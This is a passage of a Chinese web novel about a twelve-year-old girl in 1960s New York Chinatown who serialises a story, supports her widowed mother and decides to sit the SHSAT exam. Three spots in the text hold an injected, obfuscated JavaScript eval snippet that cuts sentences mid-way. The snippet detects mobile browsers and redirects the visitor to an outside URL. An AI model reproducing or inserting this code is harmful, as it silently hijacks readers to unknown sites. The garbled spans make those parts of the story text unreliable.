这一刻，看着面前堆积成山的读者信，杨乐怡想，是真的回不去了啊。 杨乐怡久久没有说话，郑鸿和阿兴都以为她是感动的，可能还有点激动。这个想法冒出来，两人才有了杨乐怡年纪不大实感。 其实杨乐怡个子不矮，已经有五英尺三英寸，换算后是一米六左右。她身形也很单薄，脸上还有点婴儿肥，透着稚气。 她第一次来投稿时，郑鸿和阿兴都看出了她年纪很小。 但杨乐怡气质沉静，谈吐也很成熟，跟她聊多了，反而容易让人忘记她只是个十二岁的孩子。 郑鸿心软下来，像是哄小孩一样说：“《阿珍的故事》刚开始连载，现在只是开始，以后寄信来的读者会越来越多。” 杨乐怡神色平静应道：“嗯。” 8. 电话不断 第一次看《阿珍的故事》时，郑鸿虽然觉得故事很好，阅读过程很愉快，但他其实没觉得这个故事很勾人。 至少看完杨乐怡交来的那三万字时，他没觉得意犹未尽看不够，很平静地放下了这个故事。 不止郑鸿，吴文轩也是如此。 所以新一期的杂志发行上市前，他们一致认为这个故事不错，但爆火很难。 甚至，他们都没指望杂志能靠这个故事吸引到新的读者，能让老读者们有段愉快的阅读体验，愿意继续购买下一期杂志就很好了。 有这样的想法，不仅是因为《华侨文阵》办了二十多年，却始终没有大火过，至今仍属于小众的文艺刊。 他们这些在文化社工作几年甚至十几年的老员工，也许入职初期有过远大梦想，但这么多年磨下来，早没了当初的意气。 他们现在的目标，是让华侨文化社更长久地活下去，将《华侨文阵》一直办下去。 更因为华人纪实类的小说关注度虽然一直不低，相关作品也没到泛滥的程度，但这么多年下来，精品也实在不算少。 大家看多了，标准就会变高，新作品，尤其是不知名新人写的新作品，很难轻易抓住读者的心。 杨乐怡是新人，《阿珍的故事》也不算推陈出新，写的又很日常，离大家的生活很近。这样固然能加强代入感，但也会有人觉得太寻常，反而没太大兴趣。 再就是温馨的作品，往往缺少波折，就算有，也是一些小波折，带来的痛苦不够撕心裂肺，就很难让读者抓心挠肝地想看后面的内容。 总之，因为以上种种，吴文轩虽然让《阿珍的故事》上了封面，但那是出于对故事的认可，实际上对它的期待值并不高。 当然印刷期间，他们也有过迟疑，想要不要把期待值放高一点。 很神奇的，刚读完《阿珍的故事》时他们不觉得抓心挠肝，可过后却总想起里面的情节，并突然发笑。 起初郑鸿没太在意，直到新一期的《华侨文阵》样书出来，检查内容排版时，其他诗歌短篇他一带而过，重在检查。 可看到《阿珍的故事》时，他不自觉的沉浸了下去。 明明那些故事情节都在他的脑海里，甚至某些部分主角下一句台词是什么，他都能大致说出来。 可他就是看得津津有味。 看完第一期连载的两万字，他又把未刊登的那一万字文稿翻了出来。 全部看完，郑鸿就想，好看的故事很多，但能让人一遍一遍去看的故事却并不多，而每一次阅读，都能让人忍不住微笑的故事则更少。 也许他们可以把期待值放高一些。 但郑鸿没有把这个想法说出来，期待越高失望越大，他早已对此深有体会。 虽然没说出来，但因为这种想法，新一期《华侨文阵》上市，看到读者写给杨乐怡的信像雪花一样飘来，郑鸿心里毫无惊讶。 他知道，这个故事值得。 吴文轩对《阿珍的故事》的受欢迎程度，也没有太意外，这段时间，他的心路历程和郑鸿基本一致。 越临近杂志上市，他对《阿珍的故事》越有信心。 心里那点意外，是他以为这个故事需要时间发酵，不会那么快火。却没想到杂志上市第二天，就有唐人街内部的读者来送信。 到第三天，寄信来的读者范围扩大到纽约全市。 到今天，不仅信件多，纽约本地的华人商户也有了动作。从他早上到文化社，主编室的电话就没断过，都是来问广告的。 这个时期，主要在华人社区发行的文艺刊，收入来源大多以捐款、会费、销售收入为主，且大多是来自社团或者个人的捐款，而非大众认知的销售收入。 至于广告，大多数是不接的。 因为很多文艺刊的创始人，办杂志不是为了赚钱，而是为了交流。这时候的文人，也有不少认为文学杂志刊登广告很俗气掉价。 当然，这是许多文艺刊对外的解释。 从现实角度分析，就像同样是华人办的报纸杂志，文人会更倾向于稿费更高更稳定的英文报刊，而非稿费少的华文报刊一样。 除非财大气粗，或者有后台，否则没有哪个文艺刊的创始人，真的能做到视金钱如粪土。 文艺刊没有广告，更多的还是因为接不到。 首先文艺刊的发行量都很低，印刷几百的文艺刊比比皆是，像《华侨文阵》这样能稳定月销三千左右的，已经是头部中的头部。 其次投广华文报刊的，通常是华人商家。 这时候的华人做的都是什么生意？开餐厅、开洗衣店、开杂货店，他们的目标客群，都是华人社区再普通不过的人。 这些人，很多连普通话都不会说，更不用说认字。 而文艺刊大多以诗歌、散文为主，读者都是知识分子，和唐人街大多数商户的客户群并不重合。 少数有重合的，就算投广，也更愿意找发行量大的报纸。 没有客户，杂志自然没有广告。 没有广告，杂志就只能依靠捐款生存——因为发行量小，且杂志售价不高，大多数文艺刊的销售收入，远不够负担各项开支。 但捐款不是一直都有的，也不是每一本文艺刊，都能得到侨团长期资助，所以这个时期的文艺刊，存活周期都很短。 像《华侨文阵》这样既没有背靠大报纸，也没有侨团长期资助，还谢绝政治话题的文艺刊，能活这么多年，实在不容易。 而想活下去，《华侨文阵》肯定不能跟大多数文艺刊那样高冷，所以，华侨文化社一直都有和商户合作广告。 但因为发行量不算高，再加上目标群体重合率不高，《华侨文阵》的广告一直不多，费用也并不高。 文化社也一直处于能运营，但经济不算宽松的状态。 可想而知，半个上午接到这么多来问广告的电话，吴文华心里有多高兴。 虽然是个文人，但吴文华能在文化社干这么多年，还真做不到视金钱如粪土。在他看来，广告多多益善，价格越高越好。 因为太高兴，见杨乐怡时吴文华实在绷不住笑，文人气质毁了一大半，好在看起来并不猥琐。 接过文稿，吴文华没有立刻阅读，他有太多喜讯要和杨乐怡分享。 但今天电话实在是多，他没说两句话，铃声又响了，和杨乐怡说了声才拿起话筒：“这里是华侨文化社，请问你是……” 吴文华没有避着的意思，杨乐怡便正大光明地旁听。 打电话来的应该是纽约其他华人聚居点的批发商，长期和华侨文化社合作，批发数量固定。原本以为能卖到下个月中，甚至下旬。 嗯，虽然《华侨文阵》的发行量稳定在三千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349240|199574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经有很长时间，但这不代表每期杂志上市后，都能迅速卖光。 事实上，半个月能卖光都算是快的，拖拖拉拉卖一个月才是常态，还有些时候，新一期的杂志上市了，上一期杂志还有几十上百本没卖掉。 会这样，也和《华侨文阵》是文学类杂志，时效性没那么强有关。 喜欢内容的读者，通常不会在乎发行时间，看到了，合眼缘，就算是一两个月前上市的，他们也会愿意花钱带一本走。 与之相对的是新闻报纸，有阅读新闻习惯的读者，通常会第一时间购买报纸，但如果当天没买，隔天看到也不会再入手。 这个批发商会打电话来，是因为新一期的《华侨文阵》，在这两天迎来了销售高峰。他下游的摊贩，好几个人已经库存告急，但来问的人一点没少，纷纷联系他加库存。 但他手里根本没有库存，只能打电话到文化社问能不能调货。 吴文轩面带笑容，语气却像是在发愁：“合作这么久你是知道的，我们杂志的销售一直很稳定，印刷量和批发量基本一致，我们现在是真没库存。” “你说加印？其实我也在考虑这件事，但印刷所那边需要排期，几天能拿到货不好说。万一我们刚印好，销售热潮却过了……” “你说的这个办法，我觉得可以，但能不能行，要看你准备定多少，还有没有其他批发商想加印，如果数量太少，也不好办。” “行，你先统计，给我个具体数目，我这边也问问其他批发商，看他们同不同意这个办法。” 挂掉电话，吴文轩对杨乐怡说：“今天上午，我陆续接到了布鲁克林、法拉盛，以及唐人街里几个批发商的电话，他们都说新一期杂志卖得很好，库存告急，想要加印。” “吴叔叔你准备加印吗？” “肯定要加，但加印多少暂时不确定。” 吴文轩认为，这期杂志上市才五天，就差不多卖完了，照这速度再印两千本，兴许都能卖掉。 但就像他在电话里说的，万一销售热潮很快过去，加印出来的杂志卖不掉，肯定会给文化社带来资金压力。 他是不怎么担心这一点，但老板肯定不愿意冒险。 只能琢磨其他办法，比如让批发商拿钱取货，如果没卖掉，杂志不退不换，这样风险就转移到了批发商身上。 批发商当然不是傻子，不可能看不出其中的风险。 但批发商数量多，每个人生意覆盖的街区也固定，分摊下来，每个人最多加购百来本。而《华侨文阵》的零售价是每本三十五美分，批发商拿货价格更低，所以就算不退不换，他们也亏不了几十美元。 吴文华想，也许有保守到一丝风险都不愿意承担的，但这么多批发商，总会有人想挣这笔钱。 哪怕他们不敢多要，凑一凑，加印五百本问题应该不大。 如果接下来几天，《华侨文阵》，或者说《阿珍的故事》能保持现在的热度，冲一冲，加印破千也不是不能想。 有了这些数据，他再去找老板谈提高下一期杂志发行量的事就容易了。 当然，目前最重要的任务，是留住杨乐怡这个福星。 而想留住杨乐怡，说一千道一万，不如一句给她涨千字。 但涨到多少，他要看了新送来的文稿才能决定，说完好消息，吴文轩便打开文稿，进入阅读状态。 9. 林静娴 杨乐怡送来的稿件，依然是三万字。 在这三万字里，故事整体依然是温情的，有种向上的蓬勃生命力，但某些细节里的文字又藏着锋利与冷冽，让吴文轩在看的时候，心里时不时咯噔一声响。 可看完这两行，他的唇角又不自觉翘了起来。 三万字看完，吴文轩觉得他的心被彻底吊起了。 这不是说杨乐怡留的钩子让他抓心挠肝了，虽然他对后文的好奇心，确实比看完前三万字时更强烈。 但吴文轩认为，比起烈酒，《阿珍的故事》更像一壶温水，它很柔，就连埋的钩子也是柔软的。 这样的钩子乍一看吊不住读者，可回过神，它已经融入读者的心。就像是温水煮青蛙，不知不觉，水已经沸腾，故事的后劲也来了。 吴文轩的心被吊起，与其说是因为钩子，不如说是故事整体流露出来的温情，与某些文字在不经意间展现出来的现实残酷，对比太过强烈。 吴文轩觉得，这个故事明喜暗悲。 所以看过了，笑过了，放下文稿再回想剧情，他有点难过。 这让他忍不住好奇，问道：“你不是打算写一个温馨的，能让人会心一笑的故事吗？” 杨乐怡沉默。 上次来文化社，她确实是这么想的，为此还调整了后面的大纲。 在写的时候，她也一直觉得自己写很温馨，直到前几天停下回头去看，才发现看完后心里竟然有点空落落。 她想过要不要修掉这些内容，但翻来覆去看了好几遍，都不知道要怎么改，反而越看越喜欢现在的故事。 才终于下定决心，继续这么写。 做出决定后，杨乐怡也问过陈阿莲，听的过程中会不会觉得难过。陈阿莲的回答是没有，她觉得故事很温馨，她很喜欢。 杨乐怡想，故事也许没有千面，但不同的人看完，感受也会不同。 就像她觉得悲伤，陈阿莲听到的却是温情。 当然在吴文轩面前，杨乐怡没有解释这么多，只说：“这就是我想写的故事。” “那故事的结局？” “依然是圆满结局。” 吴文轩点头，虽然最初他觉得圆满结局显得俗气，不够隽永，但这小半个月，他时常回想起这个故事，想法早有了改变。 尤其是刚才看完中间三万字，这种想法彻底消失了。 他想，或许圆满结局，确实比悲剧结尾更适合这个故事。 本来吴文轩就没打算干涉杨乐怡的创作，这会好奇心得到满足，便不再多问，直接说起涨千字的事。 “我这边可以做主，将千字提到四美元。”吴文轩说，“如果这次加印量破千，并能卖得差不多，我可以向领导申请涨到千字五。” 《华侨文阵》的最高千字是八，但仅限于短篇，且是知名作者。 长篇作者拿过的最高千字是四，那人名气也不小。 《阿珍的故事》比那篇小说火很多，实打实的带动了杂志的销量，所以杨乐怡虽然是纯新人，吴文轩也愿意破例将她的稿费提到千字四美元这一档，并许诺向老板争取更多稿费。 但这个先例不好开，吴文轩认为千字五已经是极限，再往上争取就难了。 吴文轩不是喜欢漫天吹牛的人，他觉得难，就不会说给杨乐怡听。这样固然能给她希望，让她在写结尾时更用心，但如果没成功，后续合作就难了。 他认为杨乐怡很有潜力，希望能跟她长久合作。 华文报刊的稿费情况，杨乐怡不说打听得一清二楚，心里也是有数的，知道吴文轩说的是实在话，没坑她，就没讨价还价，痛快答应下来。 这次离开，杨乐怡口袋里的钞票比上次厚不少，一共拿到了一百三十五美元。 其中一百二，是杨乐怡这次交上去的稿费。多的那十五，是补上次送来，但还没发的那一万字的稿费。 …… 回到家，杨乐怡直奔里屋书桌，掏出钥匙打开其中一个抽屉上挂着的锁。 上次和聊完钱的归属问题，隔天陈阿莲就给杨乐怡买了把锁，让她把钱锁好。 虽然唐人街里有银行，但这时候的人对银行信任度不高，尤其是老一辈移民，更愿意将千金藏在家里。 陈阿莲就是如此。 杨乐怡虽然觉得锁头防不住贼，但她们家可以用家徒四壁来形容，存款不多，她从未对陈阿莲的这一习惯提过任何意见。 拿到锁头，她便将手头可怜巴巴的十几美元存款，锁在了书桌抽屉里。 从抽屉里拿出钱，杨乐怡放在一起数了数。 这段时间，家里的伙食费还是陈阿莲给，但她手里钱不多，只能勉强让三人填饱肚子，想吃好，吃得有营养，就有心无力了。 至于杨乐怡手里的钱，则主要用来加餐。 这笔钱花到现在，剩余已经不足十美元。 杨乐怡想了想，将手里现有的钱分成三份，五十五给陈阿莲补这个月的房租。明天陈阿莲能拿到这个月工资，下月房租可以由她自己出。 但交完房租后，陈阿莲手里的钱，依然只够过紧巴巴的日子。 所以杨乐怡又拿出了十五美元，和先前的九美元七十八美分放到一起，打算用来补贴家用。 至于剩下的五十美元，她夹在了一个笔记本里，打算攒起来，以作不时之需。 唔，也许可以再拿出五美元，等陈阿莲休息了去吃顿早茶。 这时候路边的茶室，点心价格通常在二十到五十美元之间，三个人，点上六到八笼你点心，加上茶水、粥品，费用通常在三四美元间。 她手上还有一万多存稿，也就是说，她已经写到了七万多字。剩下两万多，她准备月中写完。 如果到时加印数据能出来，吴文轩帮她争取成功，这四万字，她能再拿到两百美元。 三四美元的一顿早茶，杨乐怡认为她消费得起。 晚上陈阿莲回来，杨乐怡把房租交给她时，提了去吃早茶的事。 陈阿莲听后有些怔愣，但转念一想，杨乐怡再成熟也是个孩子，会馋很正常。 杨志明活着时，次数虽然少，但他们一年也要下几次馆子。是杨志明出事，家里存款都空了，她工资又不高，只能委屈两个女儿跟着她吃糠咽菜。 陈阿莲很快回过神，笑着说：“明天发了工资，后天休息，妈就带你们去吃早茶，你的钱先留着不要动。” 杨乐怡没有推辞，反正她会补贴家用，这时候太客气就显生疏了。 …… 隔天发了工资，陈阿莲将两个月房租一起送到房东家。 兰姐拿到钱，很松了口气。 能当好人的时候，没人会想当坏人，之前话放得再利索，一想到如果到时间陈阿莲拿不出钱，她心里也愁得不行。 现在好了，她不用再纠结了。 笑着对陈阿莲说：“你也算是苦尽甘来了。” 陈阿莲笑笑，什么都没说。 如果可以，她更希望自己能撑起这个家，但……现在她能做的，只有对乐怡更好一点。 抱着这种想法，次日出门前，陈阿莲多拿了几美元。 她们去的是位于宰也街的南华茶室，这家茶室开业已有四十多年，因为价格实惠，点心做得也好，很受唐人街住户的喜欢。 她们来时茶室里正热闹，等了近半小时才有座位。 坐下后，陈阿莲便问两个女儿都想吃什么。 杨宝怡毫不犹豫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349241|199574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选了虾饺，又说想吃马蹄糕，她很喜欢里面口感清脆的马蹄。杨乐怡选了肠粉、凤爪和排骨。 两人说完，有服务员推着车过来，陈阿莲拦住对方，点了这些，又加了三碗粥，一壶茶、一份叉烧包。 粥上得没那么快，但茶很快被送了过来。 粤省人大多从小喝茶，家里条件再不好也是如此，何况嫁给杨志明后，陈阿莲过了十多年相对不错的生活。 她一喝，就知道这茶叶算不上好，但用的不是茶叶梗，在唐人街的街边小店里，过得去了。 但她没催两个女儿喝茶，只让她们多吃，期间时不时问她们要不要加点心。 茶室上的点心份量都不多，虾饺只有两个，马蹄糕也只有四片，排骨凤爪也是数得清的。但她们还点了茶和粥，另有肠粉叉烧包，不算少了。 杨乐怡说：“够了，我们胃口没那么大，点太多吃不完浪费。今天先吃这些，没吃够可以下次再来。” 杨宝怡一口咬破虾饺晶莹剔透的表皮，边吃边抬头问：“下次是什么时候？” “等我下次拿稿费。” 杨宝怡在心里一算，觉得那天不会太久，便高兴地将里面的虾肉一口吞下去。虾饺里面包的是整虾，个头不小，将她嘴巴塞得满满的，两颊鼓老高。 陈阿莲怕她噎住，将她面前的茶杯往她的方向推了推，温声说：“吃慢一点，不急。” 早茶就是要慢慢吃，人不多的时候，几笼点心，一杯茶，在茶室坐一上午都没人管。 她们来时虽然是客流高峰，但因为是工作日，她们坐下后店里人少了些，没人会催她们离开。 杨宝怡放慢速度，继续吃心头好马蹄糕，杨乐怡则挟起一块切好的肠粉，里面裹着鲜虾，表皮淋满酱汁，入口咸香鲜嫩。 早茶吃到一半，店里人更少。 杨乐怡很快在人群中看到熟面孔，对方也发现了她的身影，扯起笑脸用力挥手。 陈阿莲顺着杨乐怡的视线看到人，问：“那是阿娴？” “嗯。” “你要不要过去打声招呼？” 阿娴全名林静娴，和原身是从同学发展成为的好友。但林家条件好些，林父是中医，开了家小诊所，收入不错，家里很早就买了房。 这几年，唐人街里条件好的华人家庭，都在往皇后区搬，林家也在去年年底搬去了法拉盛。但林静娴没有转学，依然在p.s.130小学念书，所以两人关系没有变远。 嗯，杨乐怡现在还是个小学生。 但这是因为学制有区别，此时纽约主流实行的8-4制，即小学一年级上到八年级，之后升入高中，从九年级读到十二年级。 六三三制也有，但处于推广阶段，只在小范围有试点。 因为学区划分，杨乐怡一到六年级就读于p.s.23小学，毕业后升入p.s.130小学，继续读七、八年级。 话说回来，因为林家属于高收入群体，原身和林静娴关系虽然不错，但两家父母只能说面熟。 至少关系没到在餐厅碰见，特意过去打招呼的程度。 杨乐怡觉得，她抛下家人特地过去打招呼也不太合适，国人嘛，不管熟不熟，碰到了总要让人坐下吃两口的。 原身和林静娴关系虽然不错，但跟她父母没那么熟，何况如今身体已经换了芯子，杨乐怡想想就觉得尴尬，便摇了摇头，只对林静娴挥手算打招呼。 虽然喝早茶时不太适合碰面，但吃完后，杨乐怡跟着母亲妹妹快要走出茶室时，感觉肩膀一沉。 她侧过头，就看到林静娴抱住了自己胳膊，冲着自己笑：“阿怡。” 杨乐怡也笑，对陈阿莲说：“妈你们先回去吧，我和阿娴一起走走。” 10. 纽约特殊高中入学考试 “一起走走，阿怡，你现在说话很不一般哦。” 陈阿莲带着杨宝怡先行离开后，林静娴笑着打趣杨乐怡，又摆出一副要跟她算账的模样：“放假这么久，你也不知道来找我，说，你还当不当我是朋友。” 说实话，问杨乐怡心里对林静娴有多少同学情谊，她真回答不上来。 但杨乐怡知道林静娴是个好孩子，也真心拿原身当朋友，并不忍心伤害她，便说：“阿娴，你知道的，我爸爸刚去世，妈妈的收入养不起家，最近我没有时间考虑其他的。” 林静娴闻言，立刻露出歉疚的表情，问：“那你们家现在还缺钱吗？我有零花钱，都可以给你。” 杨乐怡笑了，说：“不缺，我有了赚钱的办法。” “什么办法？”林静娴眨眨眼，神色好奇。 杨乐怡没想瞒她，回答说：“我写了篇小说，投稿过了，稿费还不错，暂时够补贴家用。所以你不用太担心，以后也别这么傻，随随便便把钱给别人。” 林静娴不太喜欢这个说法，哼了声说：“你才不是别人。”话落又好奇地凑过来，“你写的小说叫什么？华文还是英文的，能给我看看吗？” “是华文小说，名字……咳咳。”杨乐怡难得有点不好意思，躲开林静娴灼灼的视线才说，“叫《阿珍的故事》。” “啊啊啊！” 杨乐怡话音刚落，林静娴就尖叫出声，一脸激动地问，“《阿珍的故事》是你写的？你的华文什么时候这么好了？！” “我的华文一直不错，唔，”杨乐怡想了想，“可能是压力使人成长吧，爸爸去世后，我家的经济压力很大，我想帮忙，但又不知道怎么才能挣到钱。有天看到杂志的征稿信息，稿费不错，就开始写小说，为了补华文，那段时间我几乎泡在图书馆。” 林静娴脸上的兴奋消失了，一脸心疼地看着杨乐怡：“你真是，怎么都不跟我说。” 杨乐怡低下头，轻声说：“你也只能从爸妈手里拿零花钱，告诉你了，你能帮我一时，帮不了一辈子，我还是要自己想办法的。” 直到现在，林静娴才发现杨乐怡变了很多。 她们年纪相当，她是月份大的那一个，以前总把杨乐怡当妹妹。但现在，她觉得杨乐怡像姐姐，陡然成熟了很多。 但想到杨乐怡的话，林静娴又不觉得奇怪。 也许真的是压力使人成长吧。 杨乐怡看清了林静娴的脸色变换，伸手摸了摸她的头说：“别担心，都过去了。” “不许摸我头！” 林静娴发怒，听杨乐怡的不再纠结，注意力就又回到了《阿珍的故事》上，说：“你知道吗？不止我，我爸妈也很喜欢这个故事。他们肯定想不出来，这个故事竟然是你写的。天啊，我身边竟然有这么厉害的人……” 一段话，林静娴的声音变了三次，显得一惊一乍，但又很可爱。 杨乐怡笑着说自己感到很荣幸，又让林静娴保密，说目前只有文化社的编辑和她家里人知道，她不想太高调。 林静娴立刻说：“你放心，我谁也不说，爸妈也不告诉。” 又追着问后面的剧情，但没等她剧透，就摆手说自己订了《华侨文阵》，还是想到时候自己看。 杨乐怡点头，看到林静娴爸妈从茶室走出来，问：“你要和你爸妈一起回去吗？” “不，我今天难得有假期，不想回。” 林静娴说完，让杨乐怡等自己一会，然后跑向父母，说了几句话又回来说，“我爸妈同意我和你一起去玩。” 杨乐怡哦了声，问：“你想去哪里玩？” 唐人街里适合孩子玩的地方不多，数来数去只有哥伦布广场和且林士果广场。 也有游乐场，叫Chinatowm Fair，里面可以玩打地鼠、投篮机这样的机械投币游戏。但游乐场里玩游戏论次收费，所以在里面玩的人以青少年为主。 类似Fair的店铺还有礼品店、玩具摊，但都要花钱，这时候的孩子都没什么零花钱，通常是被大人带着去玩。 林静娴零花钱多，但原身没钱，所以她们常去的还是两个广场。 杨乐怡手头倒是没那么紧，可她对玩游戏没兴趣，最后两人去了且林士果广场。 到地方看到有人摆摊卖冰棍，杨乐怡花钱买了两根，和林静娴找了个台阶坐下，看着广场里年纪差不多的孩子放风筝。 看着风筝越飞越高，杨乐怡想起来问：“你暑假在忙什么？华文学校也没去。” 林静娴长叹口气：“在学习啊。” “学习？”杨乐怡扭头，神色疑惑。 不怪她疑惑，这时候的美国虽然没有快乐教育的说法，但学业确实不怎么繁重。暑假两个半月，学校一本作业都没发。 杨乐怡是成年人，没那么贪玩，所以暑假除了看华文学校老师开的书单和写小说，还在努力学英文。 条件宽裕后，她花钱订了两份英文报纸，每天逼着自己看。 虽然杨乐怡穿越前快把英语还给老师了，但唐人街的小学都是英文教学，学生之间也更习惯说英文。 所以原身知道的高级词汇虽然不多，但基本听说阅读没有问题，有不懂的还可以查字典。融合原身记忆后，每天的报纸，杨乐怡基本都能连蒙带猜看懂。 这么说，不是杨乐怡觉得林静娴一个土著，不应该这么努力。 但林静娴成绩一直都很一般，往年从没见她父母抓着她学习，怎么这个暑假，为了让她学习，连华文学校的课程都没给她报？ 林静娴回答说：“我爸妈想让我参加SHSAT考试。” 杨乐怡觉得这个词有点耳熟，但一时想不起来，问：“这是什么考试？” 这下换林静娴疑惑了：“纽约特殊高中入学考试啊，老师以前说过的，你忘记了？” 杨乐怡低头，仔细搜寻原身的记忆。 好一会，杨乐怡才从记忆里翻出学校老师对这场考试的介绍。 信息很少，基本可以概括为两点，一是报名仅限就读于纽约市公立小学八年级的学生，考试时间通常在每年的十月底或者十一月初； 二是想考史岱文森、布朗克斯科学、布鲁克林理工三所高中的学生，可以报名参加考试。 杨乐怡回忆时，林静娴说起自己知道的信息：“我爸爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349242|199574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说，纽约的高中分三种，一是精英私立，每年光学费就要几百美元；二是区内的公立高中，免学费，小学毕业就可以直升，但师资水平不够，进去能上社区大学就不错了。” 杨乐怡回过神问：“三呢？” “三是特殊高中，同样免学费，但要通过特殊高中入学考试。这类学校老师水平很高，只要能进去，就等于一脚踏进了哈佛、耶鲁这样名校的大门。” 说这些话时，林静娴脸上少了稚气，多了几分成熟：“爸爸说，目前纽约有四所特殊高中，最好的男校是史岱文森，女生不能报考。最好的女校是亨特女校，但它只招七年级的新生，五年级的州统考考到全是前百分之十，才有机会在六年级报名亨特女校的入学考试，通过考试，才能参加面试。”[1] 虽然理论上，只要成绩够好，通过层层考核，不论什么皮肤，都可以进入亨特女校。但现实是，面试能刷掉绝大多数有色人种。 就像早在五十年代，法律就禁止全美学校隔离不同肤色的学生，但现实是直到去年《民权法案》通过，执法才得以全面推进。 所以她们上五年级时，学校老师根本没让学生亨特女校的入学考试。 就连SHSAT考试，也是因为《民权法案》通过，学校招生又只看分数，老师才会提一嘴。但唐人街对口的小学师资水平一般，学生又普遍英文不好，能考上的很少，所以学校并不重视。 林静娴父母也是前段时间，从别人口中得知通过考试，有机会进入精英公立念书，才抓着女儿临时抱佛脚。 这些详细的弯弯绕绕，林静娴不是很清楚，这会能说出来的，都是父母分析给她听过的。 林静娴继续说：“哦，还有布鲁克林理工也是男校，所以我能考的只有布朗克斯科学高中，爸爸也希望我能考上这所高中。” 杨乐怡闻言苦笑。 虽然刚穿越就遇到了生存难题，但小说过稿后，杨乐怡觉得她其实挺幸运，穿越后的生活也很顺利。 因为太顺利，杨乐怡被唐人街的平静生活蒙住了双眼，以为未来她的人生必定会一路向上。 直到今天碰到林静娴，她的这番话，如同一个闷棍砸在杨乐怡脑门。 她终于想起，这里，是资本主义社会。 在这里，无论地位、民族、肤色，只要努力奋斗，就能过上更好、更富足的生活很难成为现实。 更多时候，它只存在于以美国梦为主题的小说，或者资本家鞭策员工的话术里。 作为华人，没有地位，没有人脉，她连进入精英公立的门槛是什么都无从得知。 杨乐怡想，也许今天是她的幸运日。 命运让她在这一天遇到了林静娴，并从林静娴口中知道了SHSAT考试的存在，不至于到了最后，连自己是怎么出局的都不知道。 杨乐怡侧过身，一把抱住林静娴。 这个拥抱来得太突然，让林静娴有点懵：“阿怡，你、你干什么？” “不干什么，只是想抱抱你。” 杨乐怡松开林静娴，渐渐敛起笑容，目光专注地望着她，开口：“阿娴，我也想参加SHSAT考试。” 11. 露西亚 林静娴很高兴杨乐怡做出的决定。 事实上，她跟杨乐怡说这么多，也是希望好友能参加SHSAT考试，如果足够幸运，也许到了高中，她们依然能当同学。 林静娴还问杨乐怡要不要资料，又说也许自己可以问问补习老师，愿不愿意多教一个人。 但杨乐怡拒绝了她的好意。 想也知道纽约特殊高中入学考试肯定是优中选优，以P.S.130的师资力量，每年能通过的学生估计一个巴掌就能数得过来。 不，如果此前有通过考试的，学校老师不会只像完成任务一样，提那么一嘴这个考试，肯定会更重视一些。 学校不重视，很有可能是因为以前没人考上。 又或者和《民权法案》有关？ 杨乐怡是知道这个法案的，毕竟这和唐人街广大群众的利益息息相关，她不打听，相关信息也会钻进她耳朵。 这个念头冒出来，杨乐怡心里就有数了。 《民权法案》去年七月被通过，到十月，上一届的学生不一定能反应过来，可能没多少人参加考试。 因为成绩不够好，上一届报名的没人考上。 又或者干脆没人报名，她们这是第一届。 但不论哪一种，都印证了她前面的猜测，她们学校的学生，能通过这场考试，被精英公立录取的几率很低。 杨乐怡和林静娴还都是女生，能报考的只有一所学校。 虽然理论上，她们没有直接的竞争关系，但万一刚好一个被录取，一个被筛下来呢？ 如果林静娴被录取，而自己落榜，杨乐怡相信自己能平静接受这个结果。 一是因为林静娴准备时间比她长，二是如果没有林静娴，她可能直到考试前夕才能知道这件事，通过几率更加渺茫。 但如果结果相反，她通过了，而林静娴落榜了呢？ 杨乐怡相信，林静娴不会因此怨恨她，可如果她蹭了林家的补习老师，林静娴家长会不会想，要是当初没有同意杨乐怡参加补习就好了。 甚至，他们会不会责怪林静娴，不该告诉她这个消息？ 尽管这种想法，似乎把人看得太坏，但身处杨乐怡的位置，她不得不多想一些，这样才能避免一些可能出现的纠纷。 当着林静娴的面，杨乐怡没把话说太透，只道：“我们的学习进度不同，我现在加进去反而不合适。我会抽时间去拜访罗西小姐，请她帮忙介绍一名补习老师。” 露西亚·罗西是杨乐怡所在班级的主班老师，也就是国人常说的班主任。 虽然不太重视SHSAT考试，但罗西是个热心人。 杨乐怡想，她愿意出家教费用，找罗西帮忙介绍一名家教应该不难。如果够幸运，也许她能从罗西口中问到更多SHSAT考试的相关消息， 见杨乐怡心里有打算，林静娴不再瞎出主意，分别前说：“如果事情不顺利，你要早点告诉我，我可以问问爸爸有没有合适的人。” 杨乐怡点头：“好。” …… 回到家，杨乐怡第一时间告诉了陈阿莲，自己从林静娴口中得知的消息，以及新做出的决定。 陈阿莲没有反对，还有些愧疚：“是我不够称职，没有打听到这些消息。” “这不能怪你。”杨乐怡神情平静，“整个唐人街，估计都没有多少人了解特殊高中入学考试。” 